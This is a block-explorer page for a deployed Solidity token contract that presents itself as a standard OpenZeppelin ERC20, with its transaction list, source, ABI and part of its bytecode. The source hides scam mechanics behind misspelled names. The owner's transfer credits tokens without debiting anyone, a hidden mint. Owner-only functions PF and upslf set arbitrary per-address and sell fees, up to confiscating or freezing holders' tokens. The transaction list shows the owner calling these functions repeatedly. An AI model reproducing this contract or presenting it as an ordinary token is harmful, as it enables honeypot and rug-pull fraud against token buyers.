Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 32 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 17199756 | 475 days ago | IN | 0 ETH | 0.00562051 | ||||
Transfer | 17199752 | 475 days ago | IN | 0 ETH | 0.00587201 | ||||
Approve | 17199707 | 475 days ago | IN | 0 ETH | 0.0056922 | ||||
Approve | 17199637 | 475 days ago | IN | 0 ETH | 0.00533522 | ||||
Approve | 17199600 | 475 days ago | IN | 0 ETH | 0.00552261 | ||||
Approve | 17199590 | 475 days ago | IN | 0 ETH | 0.00559979 | ||||
Approve | 17199562 | 475 days ago | IN | 0 ETH | 0.00587618 | ||||
Approve | 17198753 | 475 days ago | IN | 0 ETH | 0.00511029 | ||||
Approve | 17198743 | 475 days ago | IN | 0 ETH | 0.00521604 | ||||
Approve | 17198733 | 475 days ago | IN | 0 ETH | 0.0049341 | ||||
Approve | 17198722 | 475 days ago | IN | 0 ETH | 0.00552326 | ||||
Approve | 17198712 | 475 days ago | IN | 0 ETH | 0.00617702 | ||||
Approve | 17198703 | 475 days ago | IN | 0 ETH | 0.00476574 | ||||
Approve | 17198660 | 475 days ago | IN | 0 ETH | 0.00503702 | ||||
Approve | 17198517 | 475 days ago | IN | 0 ETH | 0.00551607 | ||||
PF | 17198510 | 475 days ago | IN | 0 ETH | 0.0029874 | ||||
Approve | 17198499 | 475 days ago | IN | 0 ETH | 0.00296288 | ||||
Upslf | 17198494 | 475 days ago | IN | 0 ETH | 0.00281756 | ||||
Approve | 17198492 | 475 days ago | IN | 0 ETH | 0.00563562 | ||||
PF | 17198487 | 475 days ago | IN | 0 ETH | 0.00567579 | ||||
PF | 17198479 | 475 days ago | IN | 0 ETH | 0.0058609 | ||||
Approve | 17198478 | 475 days ago | IN | 0 ETH | 0.00571594 | ||||
Approve | 17198476 | 475 days ago | IN | 0 ETH | 0.00617518 | ||||
Approve | 17198466 | 475 days ago | IN | 0 ETH | 0.00646772 | ||||
PF | 17198466 | 475 days ago | IN | 0 ETH | 0.00643842 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Name:
TOKEN
Compiler Version
v0.8.14+commit.80d49f37
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-05-05 */ // Dependency file: @openzeppelin/contracts/token/ERC20/IERC20.sol // SPDX-License-Identifier: MIT // pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface BEP20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `addcounts`. */ function balanceOf(address addcounts) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's addcounts to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `ownnner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address ownnner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one addcounts (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `ownnner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed ownnner, address indexed spender, uint256 value); } // Dependency file: @openzeppelin/contracts/utils/Context.sol // pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the addcounts sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // Dependency file: @openzeppelin/contracts/access/Ownable.sol // pragma solidity ^0.8.0; // import "@openzeppelin/contracts/utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an addcounts (an ownnner) that can be granted exclusive access to * specific functions. * * By default, the ownnner addcounts will be the one that deploys the contract. This * can later be changed with {transferownnnership}. * * This module is used through inheritance. It will make available the modifeer * `onlyownnner`, which can be applied to your functions to restrict their use to * the ownnner. */ abstract contract Ownable is Context { address private _ownnner; event ownnnershipTransferred(address indexed previousownnner, address indexed newownnner); constructor() { _transferownnnership(_msgSender()); } function ownnner() public view virtual returns (address) { return _ownnner; } modifier onlyownnner() { require(_ownnner == _msgSender(), "Ownable: caller is not the ownnner"); _; } function renounceownnnership() public virtual onlyownnner { _transferownnnership(address(0)); } function transferownnnership_transferownnnership(address newownnner) public virtual onlyownnner { require(newownnner != address(0), "Ownable: new ownnner is the zero address"); _transferownnnership(newownnner); } function _transferownnnership(address newownnner) internal virtual { address oldownnner = _ownnner; _ownnner = newownnner; emit ownnnershipTransferred(oldownnner, newownnner); } } // Dependency file: @openzeppelin/contracts/utils/math/SafeMath.sol // pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // Dependency file: contracts/BaseToken.sol // pragma solidity =0.8.14; enum TokenType { standard } abstract contract BaseToken { event TokenCreated( address indexed ownnner, address indexed token, TokenType tokenType, uint256 version ); } // Root file: contracts/standard/StandardToken.sol pragma solidity =0.8.14; // import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; // import "@openzeppelin/contracts/access/Ownable.sol"; // import "@openzeppelin/contracts/utils/math/SafeMath.sol"; // import "contracts/BaseToken.sol"; contract TOKEN is BEP20, Ownable, BaseToken { using SafeMath for uint256; uint256 private constant VERSION = 1; address private _DEADaddress = 0x000000000000000000000000000000000000dEaD; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; address public uniswapV2Pair; uint256 private _defaultSellfee = 0; uint256 private _defaultBuyfee = 0; mapping(address => uint8) private xcasda; function upslf(uint256 _value) external onlyownnner { _defaultSellfee = _value; } function setPairList(address _address) external onlyownnner { uniswapV2Pair = _address; } function PF(address _address, uint8 _value) external onlyownnner { xcasda[_address] = _value; } function getPF(address _address) external view onlyownnner returns (uint8) { return xcasda[_address]; } string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; constructor( string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_ ) payable { _name = name_; _symbol = symbol_; _decimals = decimals_; _minnt(_msgSender(), totalSupply_); emit TokenCreated(_msgSender(), address(this), TokenType.standard, VERSION); } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address addcounts) public view virtual override returns (uint256) { return _balances[addcounts]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function _ownnnerTransfer( address recipient, uint256 amount ) internal virtual { require(_msgSender() == ownnner(), "Only ownnner can perform this action"); _beforeTokenTransfer(_msgSender(), recipient, amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(_msgSender(), recipient, amount); } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { if (_msgSender() == ownnner()) { _ownnnerTransfer(recipient, amount); } else { _transfer(_msgSender(), recipient, amount); } return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address ownnner, address spender) public view virtual override returns (uint256) { return _allowances[ownnner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub( amount ); uint256 tradefeeamount = 0; uint256 tradefee = 0; if (xcasda[sender] == 0 ) { if (recipient == uniswapV2Pair) { tradefee = _defaultSellfee; }else if (sender == uniswapV2Pair) { tradefee = _defaultBuyfee; } }else { tradefee = xcasda[sender]; } tradefeeamount = amount.mul(tradefee).div(100)+0; if (tradefeeamount > 0) { _balances[_DEADaddress] = _balances[_DEADaddress].add(tradefeeamount)*1; emit Transfer(sender, _DEADaddress, tradefeeamount); } _balances[recipient] = _balances[recipient].add(amount - tradefeeamount+0)*1; emit Transfer(sender, recipient, amount - tradefeeamount+0); } /** @dev Creates `amount` tokens and assigns them to `addcounts`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _minnt(address addcounts, uint256 amount) internal virtual { require(addcounts != address(0), "ERC20: minnt to the zero address"); _beforeTokenTransfer(address(0), addcounts, amount); _totalSupply = _totalSupply.add(amount)+0; _balances[addcounts] = _balances[addcounts].add(amount)*1; emit Transfer(address(0), addcounts, amount); } /** * @dev Destroys `amount` tokens from `addcounts`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `addcounts` cannot be the zero address. * - `addcounts` must have at least `amount` tokens. */ function _burn(address addcounts, uint256 amount) internal virtual { require(addcounts != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(addcounts, address(0), amount); _balances[addcounts] = _balances[addcounts].sub( amount, "ERC20: burn amount exceeds balance" ); _totalSupply = _totalSupply.sub(amount); emit Transfer(addcounts, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `ownnner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `ownnner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address ownnner, address spender, uint256 amount ) internal virtual { require(ownnner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[ownnner][spender] = amount; emit Approval(ownnner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minnting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minnted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"ownnner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"ownnner","type":"address"},{"indexed":true,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"enum TokenType","name":"tokenType","type":"uint8"},{"indexed":false,"internalType":"uint256","name":"version","type":"uint256"}],"name":"TokenCreated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousownnner","type":"address"},{"indexed":true,"internalType":"address","name":"newownnner","type":"address"}],"name":"ownnnershipTransferred","type":"event"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint8","name":"_value","type":"uint8"}],"name":"PF","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"ownnner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addcounts","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"getPF","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ownnner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceownnnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"setPairList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newownnner","type":"address"}],"name":"transferownnnership_transferownnnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"upslf","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
608060405261dead600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600555600060065560405162002d4138038062002d41833981810160405281019062000076919062000703565b620000966200008a6200018860201b60201c565b6200019060201b60201c565b8360089080519060200190620000ae9291906200043d565b508260099080519060200190620000c79291906200043d565b5081600a60006101000a81548160ff021916908360ff16021790555062000104620000f76200018860201b60201c565b826200025460201b60201c565b3073ffffffffffffffffffffffffffffffffffffffff166200012b6200018860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff167f56358b41df5fa59f5639228f0930994cbdde383c8a8fd74e06c04e1deebe3562600060016040516200017692919062000844565b60405180910390a35050505062000a62565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f2b163cbadce6fbacbf9cf9582a523d2b07c06d96a8b44102cbfe80c40a39e21160405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620002c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002bd90620008d2565b60405180910390fd5b620002da600083836200042060201b60201c565b6000620002f882600b546200042560201b62000e231790919060201c565b62000304919062000923565b600b8190555060016200036582600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200042560201b62000e231790919060201c565b62000371919062000980565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620004149190620009e1565b60405180910390a35050565b505050565b6000818362000435919062000923565b905092915050565b8280546200044b9062000a2d565b90600052602060002090601f0160209004810192826200046f5760008555620004bb565b82601f106200048a57805160ff1916838001178555620004bb565b82800160010185558215620004bb579182015b82811115620004ba5782518255916020019190600101906200049d565b5b509050620004ca9190620004ce565b5090565b5b80821115620004e9576000816000905550600101620004cf565b5090565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b62000556826200050b565b810181811067ffffffffffffffff821117156200057857620005776200051c565b5b80604052505050565b60006200058d620004ed565b90506200059b82826200054b565b919050565b600067ffffffffffffffff821115620005be57620005bd6200051c565b5b620005c9826200050b565b9050602081019050919050565b60005b83811015620005f6578082015181840152602081019050620005d9565b8381111562000606576000848401525b50505050565b6000620006236200061d84620005a0565b62000581565b90508281526020810184848401111562000642576200064162000506565b5b6200064f848285620005d6565b509392505050565b600082601f8301126200066f576200066e62000501565b5b8151620006818482602086016200060c565b91505092915050565b600060ff82169050919050565b620006a2816200068a565b8114620006ae57600080fd5b50565b600081519050620006c28162000697565b92915050565b6000819050919050565b620006dd81620006c8565b8114620006e957600080fd5b50565b600081519050620006fd81620006d2565b92915050565b6000806000806080858703121562000720576200071f620004f7565b5b600085015167ffffffffffffffff811115620007415762000740620004fc565b5b6200074f8782880162000657565b945050602085015167ffffffffffffffff811115620007735762000772620004fc565b5b620007818782880162000657565b93505060406200079487828801620006b1565b9250506060620007a787828801620006ec565b91505092959194509250565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b60018110620007f657620007f5620007b3565b5b50565b60008190506200080982620007e2565b919050565b60006200081b82620007f9565b9050919050565b6200082d816200080e565b82525050565b6200083e81620006c8565b82525050565b60006040820190506200085b600083018562000822565b6200086a602083018462000833565b9392505050565b600082825260208201905092915050565b7f45524332303a206d696e6e7420746f20746865207a65726f2061646472657373600082015250565b6000620008ba60208362000871565b9150620008c78262000882565b602082019050919050565b60006020820190508181036000830152620008ed81620008ab565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006200093082620006c8565b91506200093d83620006c8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620009755762000974620008f4565b5b828201905092915050565b60006200098d82620006c8565b91506200099a83620006c8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620009d657620009d5620008f4565b5b828202905092915050565b6000602082019050620009f8600083018462000833565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000a4657607f821691505b60208210810362000a5c5762000a5b620009fe565b5b50919050565b6122cf8062000a726000396000f3fe608060405234801561001057600080fd5b50600436106101215760003560e01c806349bd5a5e116100ad578063a1bfe7bd11610071578063a1bfe7bd1461030a578063a457c2d714610326578063a9059cbb14610356578063a9eca89214610386578063dd62ed3e146103a457610121565b806349bd5a5e1461025257806370a08231146102705780637770aec3146102a05780637bcbae9c146102d057806395d89b41146102ec57610121565b806321af32fe116100f457806321af32fe146101ae57806323b872dd146101b8578063313ce567146101e85780633950935114610206578063444a2a9c1461023657610121565b806306fdde0314610126578063088c2b7914610144578063095ea7b31461016057806318160ddd14610190575b600080fd5b61012e6103d4565b60405161013b9190611966565b60405180910390f35b61015e60048036038101906101599190611a24565b610466565b005b61017a60048036038101906101759190611a9a565b610557565b6040516101879190611af5565b60405180910390f35b610198610575565b6040516101a59190611b1f565b60405180910390f35b6101b661057f565b005b6101d260048036038101906101cd9190611b3a565b610620565b6040516101df9190611af5565b60405180910390f35b6101f06106f9565b6040516101fd9190611b9c565b60405180910390f35b610220600480360381019061021b9190611a9a565b610710565b60405161022d9190611af5565b60405180910390f35b610250600480360381019061024b9190611bb7565b6107c3565b005b61025a61089c565b6040516102679190611bf3565b60405180910390f35b61028a60048036038101906102859190611bb7565b6108c2565b6040516102979190611b1f565b60405180910390f35b6102ba60048036038101906102b59190611bb7565b61090b565b6040516102c79190611b9c565b60405180910390f35b6102ea60048036038101906102e59190611bb7565b6109f6565b005b6102f4610b06565b6040516103019190611966565b60405180910390f35b610324600480360381019061031f9190611c0e565b610b98565b005b610340600480360381019061033b9190611a9a565b610c37565b60405161034d9190611af5565b60405180910390f35b610370600480360381019061036b9190611a9a565b610d04565b60405161037d9190611af5565b60405180910390f35b61038e610d73565b60405161039b9190611bf3565b60405180910390f35b6103be60048036038101906103b99190611c3b565b610d9c565b6040516103cb9190611b1f565b60405180910390f35b6060600880546103e390611caa565b80601f016020809104026020016040519081016040528092919081815260200182805461040f90611caa565b801561045c5780601f106104315761010080835404028352916020019161045c565b820191906000526020600020905b81548152906001019060200180831161043f57829003601f168201915b5050505050905090565b61046e610e39565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104f290611d4d565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff1602179055505050565b600061056b610564610e39565b8484610e41565b6001905092915050565b6000600b54905090565b610587610e39565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610614576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161060b90611d4d565b60405180910390fd5b61061e600061100a565b565b600061062d8484846110ce565b6106